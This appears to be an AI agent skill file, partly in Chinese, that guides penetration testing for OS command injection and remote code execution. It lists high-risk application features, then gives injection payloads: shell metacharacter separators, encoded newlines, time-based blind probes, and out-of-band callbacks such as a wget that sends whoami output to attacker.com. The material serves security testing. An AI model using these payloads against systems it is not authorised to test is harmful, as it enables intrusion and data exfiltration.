pentest-command-injection

name	pentest-command-injection
description	Use when performing penetration testing targeting command injection and remote code execution vulnerabilities. Keywords: command injection, OS command injection, RCE, remote code execution, code injection, shell injection, deserialization, Log4Shell

Command Injection Penetration Testing Patterns

当对 Web 应用进行命令注入和远程代码执行渗透测试时加载此 Skill。覆盖 OS 命令注入、反序列化、Log4Shell 等。

Attack Surface Discovery

高风险功能：

• 网络工具：ping、traceroute、nslookup、dig 等功能
• 文件转换/处理：PDF 生成、图片处理、视频转码
• CI/CD 管道：构建脚本、部署命令
• 包管理器集成：npm install、pip install
• 系统管理面板：服务重启、日志查看
• 打印/报表：调用系统命令生成报表
• 已知漏洞组件：Log4j、DotNetNuke、Apache Struts

识别信号：

• 响应中包含命令执行输出的格式（如 ping 结果）
• 输入参数疑似被拼接到系统命令中
• 应用使用已知存在 RCE 的框架/组件版本
• 管理面板使用默认凭证

Exploitation Techniques

Shell 元字符注入：

# 命令分隔符
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)

# 换行符
%0awhoami
%0dwhoami

盲注检测：

# 时间盲注
; sleep 10
| ping -c 10 127.0.0.1
& timeout /t 10

# OOB 回调
; curl https://attacker.burpcollaborator.net
| nslookup attacker.burpcollaborator.net
; wget https://attacker.com/$(whoami)